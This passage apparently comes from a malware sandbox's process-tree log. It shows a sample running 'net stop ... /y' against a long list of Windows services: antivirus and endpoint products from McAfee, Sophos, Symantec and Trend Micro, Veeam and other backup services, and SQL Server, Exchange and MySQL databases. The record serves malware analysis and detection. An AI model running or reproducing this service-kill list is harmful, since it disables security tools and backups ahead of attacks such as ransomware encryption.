C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "DCAgent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EPSecurityService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EPSecurityService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EPUpdateService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EPUpdateService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EraserSvc11710" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EraserSvc11710" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "EsgShKernel" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EsgShKernel" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "FA_Scheduler" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "FA_Scheduler" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "IISAdmin" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IISAdmin" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "IMAP4Svc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "IMAP4Svc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "macmnsvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "macmnsvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "masvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "masvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MBAMService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MBAMService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MBEndpointAgent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MBEndpointAgent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McAfeeEngineService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McAfeeEngineService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McAfeeFramework" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McAfeeFramework" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McAfeeFrameworkMcAfeeFramework" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McAfeeFrameworkMcAfeeFramework" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McShield" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McShield" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "McTaskManager" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McTaskManager" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "mfemms" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mfemms" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "mfevtp" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mfevtp" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MMS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MMS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "mozyprobackup" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mozyprobackup" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer100" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer100" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MsDtsServer110" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer110" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeES" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeES" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeIS" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeIS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeMGMT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeMGMT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeMTA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeMTA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeSA" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeSA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSExchangeSRS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeSRS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSOLAP$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$TPSAMA" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$BKUPEXEC" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$BKUPEXEC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$ECWDB2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$ECWDB2" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PRACTICEMGT" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PRACTICEMGT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PRACTTICEBGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PRACTTICEBGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PROFXENGAGEMENT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PROFXENGAGEMENT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SBSMONITORING" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SBSMONITORING" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SHAREPOINT" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SHAREPOINT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SQL_2008" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$SYSTEM_BGC" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$TPSAMA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$VEEAMSQL2012" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SBSMONITORING" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SBSMONITORING" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SHAREPOINT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SHAREPOINT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLFDLauncher$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$TPSAMA" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLSERVER" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLSERVER" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerADHelper100" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerADHelper100" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerOLAPService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerOLAPService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MySQL80" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MySQL80" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MySQL57" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MySQL57" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ntrtscan" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ntrtscan" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "OracleClientCache80" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "OracleClientCache80" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "PDVFSService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "PDVFSService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "POP3Svc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "POP3Svc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$SQL_2008" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$TPS" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ReportServer$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$TPSAMA" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "RESvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "RESvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "sacsvr" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "sacsvr" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SamSs" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SamSs" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SAVAdminService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SAVAdminService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SAVService" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SAVService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SDRSVC" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SDRSVC" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SepMasterService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SepMasterService" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ShMonitor" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ShMonitor" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Smcinst" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Smcinst" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SmcService" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SmcService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SMTPSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SMTPSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SNAC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SNAC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SntpService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SntpService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "sophossps" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "sophossps" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$BKUPEXEC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$BKUPEXEC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$ECWDB2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$ECWDB2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PRACTTICEBGC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PRACTTICEBGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PRACTTICEMGT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PRACTTICEMGT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PROFXENGAGEMENT" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PROFXENGAGEMENT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SBSMONITORING" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SBSMONITORING" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SHAREPOINT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SHAREPOINT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SQL_2008" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$SYSTEM_BGC" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SYSTEM_BGC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$TPS" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$TPS" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$TPSAMA" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$VEEAMSQL2012" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLBrowser" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLBrowser" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLSafeOLRService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLSafeOLRService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLSERVERAGENT" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLSERVERAGENT" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLTELEMETRY" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLTELEMETRY$ECWDB2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY$ECWDB2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLWriter" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLWriter" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SstpSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SstpSvc" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "svcGenericHost" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "svcGenericHost" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "swi_filter" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swi_filter" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "swi_service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swi_service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "swi_update_64" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swi_update_64" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TmCCSF" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TmCCSF" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "tmlisten" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "tmlisten" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueKey" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueKey" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueKeyScheduler" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueKeyScheduler" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueKeyServiceHelper" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueKeyServiceHelper" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "UI0Detect" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "UI0Detect" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamBackupSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamBackupSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamBrokerSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamBrokerSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamCatalogSvc" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamCatalogSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamCloudSvc" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamCloudSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamDeploymentService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamDeploymentService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamDeploySvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamDeploySvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamEnterpriseManagerSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamEnterpriseManagerSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamMountSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamMountSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamNFSSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamNFSSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamRESTSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamRESTSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamTransportSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamTransportSvc" /y4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "W3Svc" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "W3Svc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "wbengine" /y3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "wbengine" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "WRSVC" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "WRSVC" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "VeeamHvIntegrationSvc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamHvIntegrationSvc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "swi_update" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swi_update" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$CXDB" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$CXDB" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$CITRIX_METAFRAME" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$CITRIX_METAFRAME" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQL Backups" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQL Backups" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQL$PROD" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PROD" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Zoolz 2 Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Zoolz 2 Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "MSSQLServerADHelper" /y3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerADHelper" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLAgent$PROD" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PROD" /y4⤵
-
-
-
